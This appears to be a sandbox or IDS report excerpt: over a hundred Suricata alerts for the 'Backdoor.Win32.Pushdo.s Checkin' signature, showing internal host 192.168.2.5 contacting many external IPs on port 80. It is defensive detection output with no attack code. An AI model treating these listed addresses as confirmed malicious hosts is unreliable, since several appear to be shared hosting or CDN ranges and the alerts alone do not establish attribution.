Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52570 -> 172.67.173.200:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52552 -> 118.27.125.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52627 -> 18.245.31.21:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52614 -> 104.26.3.124:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52642 -> 165.22.45.169:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52606 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52572 -> 185.80.51.179:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52635 -> 107.180.98.101:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52617 -> 213.165.251.217:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52619 -> 122.128.109.107:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:49771 -> 59.106.19.204:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52629 -> 69.163.182.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52654 -> 217.79.184.35:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52625 -> 195.78.66.65:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52558 -> 89.161.163.246:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52601 -> 104.21.66.46:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52611 -> 96.127.180.42:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52628 -> 3.65.101.129:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52651 -> 144.76.24.9:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52653 -> 23.227.38.74:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52571 -> 80.74.154.6:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52594 -> 5.189.128.121:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52591 -> 46.242.238.60:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52630 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52639 -> 69.163.182.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52582 -> 135.181.73.98:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52645 -> 211.1.226.67:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52599 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52574 -> 60.43.154.138:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52559 -> 62.122.190.121:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52587 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52615 -> 104.196.26.65:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52580 -> 188.165.133.163:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52631 -> 75.119.202.130:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52652 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52659 -> 35.164.78.200:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52664 -> 104.26.10.81:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52667 -> 85.131.197.10:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52660 -> 74.208.236.101:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52566 -> 192.124.249.10:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52668 -> 103.224.182.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52643 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52672 -> 208.109.214.162:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52655 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52593 -> 202.254.236.40:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52568 -> 34.218.204.173:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52621 -> 51.79.51.72:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52673 -> 5.196.166.214:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52641 -> 188.166.152.188:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52605 -> 154.53.43.150:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52646 -> 147.154.0.23:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52656 -> 213.186.33.40:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52677 -> 103.224.182.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52658 -> 185.53.177.50:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52633 -> 183.90.183.73:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52681 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52669 -> 198.100.146.220:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52685 -> 64.125.133.18:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52683 -> 93.187.206.66:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52724 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52692 -> 96.91.204.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52735 -> 104.218.10.254:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52742 -> 103.224.182.253:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52736 -> 103.224.182.253:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52750 -> 157.112.176.4:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52758 -> 173.254.28.29:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52785 -> 3.19.116.195:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52789 -> 34.218.204.173:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52769 -> 157.112.182.239:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52781 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52783 -> 59.106.19.204:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52798 -> 70.39.251.249:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52804 -> 3.19.116.195:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52780 -> 192.124.249.20:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52797 -> 34.218.204.173:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52800 -> 104.21.23.9:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52796 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52808 -> 104.26.7.221:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52784 -> 104.21.23.9:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52815 -> 185.15.129.58:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52799 -> 3.19.116.195:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52827 -> 185.15.129.58:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52809 -> 142.250.186.147:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52820 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52823 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52794 -> 118.27.125.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52833 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52835 -> 54.161.222.85:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52842 -> 62.122.190.121:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52818 -> 170.82.174.30:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52802 -> 192.124.249.20:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52831 -> 89.161.163.246:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52821 -> 142.250.186.147:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52830 -> 139.59.171.124:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52786 -> 70.39.251.249:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52825 -> 104.26.7.221:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52847 -> 34.218.204.173:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52843 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52839 -> 104.26.15.53:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52793 -> 59.106.19.204:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52854 -> 192.124.249.10:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52787 -> 80.93.82.33:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52826 -> 104.21.88.198:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52822 -> 104.26.15.53:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52859 -> 185.80.51.179:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52860 -> 34.218.204.173:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52840 -> 139.59.171.124:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52801 -> 80.93.82.33:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52834 -> 192.252.154.18:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52880 -> 198.185.159.144:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52869 -> 81.2.194.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52878 -> 81.2.194.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52806 -> 170.82.174.30:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52845 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52890 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52832 -> 54.161.222.85:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52874 -> 188.165.133.163:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52817 -> 54.161.222.85:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52852 -> 54.161.222.85:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52788 -> 118.27.125.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52891 -> 104.26.3.124:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52872 -> 172.67.173.200:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52862 -> 172.67.173.200:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52898 -> 108.167.164.216:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52846 -> 192.252.154.18:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52899 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52816 -> 89.161.163.246:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52870 -> 185.80.51.179:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52856 -> 60.43.154.138:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52824 -> 62.122.190.121:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52888 -> 69.163.239.62:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52811 -> 104.21.88.198:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52858 -> 141.193.213.11:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52851 -> 80.74.154.6:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52887 -> 46.242.238.60:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52877 -> 202.254.236.40:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52904 -> 104.21.66.46:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52892 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52863 -> 192.124.249.10:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52805 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52883 -> 188.165.133.163:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52896 -> 46.242.238.60:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52900 -> 5.189.128.121:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52814 -> 3.19.116.195:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52905 -> 51.79.51.72:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52886 -> 116.211.150.37:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52882 -> 69.163.239.62:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52907 -> 5.189.128.121:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52903 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52906 -> 108.167.164.216:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52866 -> 135.181.73.98:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52879 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52911 -> 104.26.3.124:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52927 -> 96.127.180.42:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52848 -> 141.193.213.11:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52925 -> 75.119.202.130:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52919 -> 51.79.51.72:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52895 -> 202.254.236.40:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52918 -> 23.227.38.74:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52912 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52868 -> 116.211.150.37:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52917 -> 217.19.237.54:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52916 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52929 -> 104.196.26.65:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52924 -> 69.163.182.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52932 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52926 -> 104.196.26.65:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52928 -> 23.227.38.74:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52910 -> 96.127.180.42:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52841 -> 60.43.154.138:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52937 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52933 -> 217.19.237.54:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52779 -> 137.118.26.67:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52941 -> 75.119.202.130:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52947 -> 69.163.182.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52934 -> 183.90.183.73:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52931 -> 75.119.202.130:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52949 -> 3.65.101.129:80
